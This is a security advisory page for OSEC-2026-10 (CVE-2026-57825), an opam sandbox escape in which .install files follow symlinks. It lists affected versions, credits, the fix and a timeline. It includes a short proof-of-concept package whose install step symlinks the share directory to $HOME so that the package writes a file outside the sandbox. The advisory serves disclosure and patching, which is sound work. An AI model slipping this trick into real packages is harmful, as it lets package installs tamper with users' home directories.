OSEC-2026-10 (CVE-2026-57825)

Vulnerability from osv_ocaml – Published: 2026-07-07 12:00 – Updated: 2026-07-07 12:00 – Source website
VLAI
Summary
opam install sandbox escape using symlinks
Details

Summary

Installing files through .install files do not check symlinks resolution of the target path, and so can bypass sandboxing.

Exploit

Let's imagine a test package whose test.install file looks like the following:

share_root: [
  "test" {"blah/pwnd"}
]

and test.opam file:

opam-version: "2.0"
install: ["sh" "-c" "ln -s \"$HOME\" \"%{share}%/blah\""]

Installing this package will write the pwnd file in the home directory of the current user, bypassing sandboxing.

Timeline

  • 2026-05-15: Kate reported the issue to the rest of the opam team and the OCaml Security team
  • 2026-06-22: Nathan wrote a fix which was then reviewed by Raja and refined over the next 2 weeks
  • 2026-07-08: opam 2.5.2 was released with the fix

{
  "affected": [
    {
      "ecosystem_specific": {
        "opam_constraint": "opam-devel {\u003c \"2.5.2\"}"
      },
      "package": {
        "ecosystem": "opam",
        "name": "opam-devel",
        "purl": "pkg:opam/opam-devel"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.5.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "2.0~alpha5",
        "2.0.0~beta",
        "2.0.0~beta3",
        "2.0.0~beta3.1",
        "2.0.0~beta5",
        "2.0.0~rc",
        "2.0.0~rc2",
        "2.0.0~rc3",
        "2.0.0",
        "2.0.1",
        "2.0.2",
        "2.0.3",
        "2.0.4",
        "2.0.5",
        "2.0.6",
        "2.0.7",
        "2.0.8",
        "2.0.9",
        "2.0.10",
        "2.1.0~beta2",
        "2.1.0~beta4",
        "2.1.0~rc",
        "2.1.0~rc2",
        "2.1.0",
        "2.1.1",
        "2.1.2",
        "2.1.3",
        "2.1.4",
        "2.1.5",
        "2.1.6",
        "2.2.0~alpha",
        "2.2.0~alpha2",
        "2.2.0~alpha3",
        "2.2.0~beta1",
        "2.2.0~beta2",
        "2.2.0~beta3",
        "2.2.0~rc1",
        "2.2.0",
        "2.2.1",
        "2.3.0~alpha1",
        "2.3.0~beta1",
        "2.3.0~beta2",
        "2.3.0~rc1",
        "2.3.0",
        "2.4.0~alpha1",
        "2.4.0~alpha2",
        "2.4.0~beta1",
        "2.4.0~rc1",
        "2.4.0",
        "2.4.1",
        "2.5.0~alpha1",
        "2.5.0~beta1",
        "2.5.0~rc1",
        "2.5.0",
        "2.5.1"
      ]
    },
    {
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "09c3df1ffb33cc0a09b3a81f36bb74898dce2120"
            }
          ],
          "repo": "https://github.com/ocaml/opam",
          "type": "GIT"
        },
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "248f8400e5ecb6ecbd7a672448477d08cedfdc24"
            }
          ],
          "repo": "https://github.com/ocaml/opam",
          "type": "GIT"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-57825"
  ],
  "credits": [
    {
      "name": "Kate Deplaix",
      "type": "REPORTER"
    },
    {
      "name": "Nathan Rebours",
      "type": "REMEDIATION_DEVELOPER"
    },
    {
      "name": "Raja Boujbel",
      "type": "REMEDIATION_REVIEWER"
    },
    {
      "name": "Hannes Mehnert",
      "type": "COORDINATOR"
    }
  ],
  "database_specific": {
    "cwe": [
      "CWE-693"
    ],
    "human_link": "https://github.com/ocaml/security-advisories/tree/main/advisories/2026/OSEC-2026-10.md",
    "osv": "https://github.com/ocaml/security-advisories/tree/generated-osv/2026/OSEC-2026-10.json"
  },
  "details": "## Summary\n\nInstalling files through `.install` files do not check symlinks resolution of the target path, and so can bypass sandboxing.\n\n## Exploit\n\nLet\u0027s imagine a `test` package whose `test.install` file looks like the following:\n```\nshare_root: [\n  \"test\" {\"blah/pwnd\"}\n]\n```\nand `test.opam` file:\n```\nopam-version: \"2.0\"\ninstall: [\"sh\" \"-c\" \"ln -s \\\"$HOME\\\" \\\"%{share}%/blah\\\"\"]\n```\n\nInstalling this package will write the `pwnd` file in the home directory of the current user, bypassing sandboxing.\n\n## Timeline\n\n- 2026-05-15: Kate reported the issue to the rest of the opam team and the OCaml Security team\n- 2026-06-22: Nathan wrote a fix which was then reviewed by Raja and refined over the next 2 weeks\n- 2026-07-08: opam 2.5.2 was released with the fix",
  "id": "OSEC-2026-10",
  "modified": "2026-07-07T12:00:00Z",
  "published": "2026-07-07T12:00:00Z",
  "references": [
    {
      "type": "FIX",
      "url": "https://github.com/ocaml/opam/pull/7005"
    },
    {
      "type": "FIX",
      "url": "https://github.com/ocaml/opam/pull/7006"
    }
  ],
  "schema_version": "1.7.4",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "opam install sandbox escape using symlinks"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

JSON
How durations are calculated

Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.

Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.

Events included in the timeline

Loading timeline…


    Loading…

    Loading…

    Loading…

    Related by attack behaviour

    Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.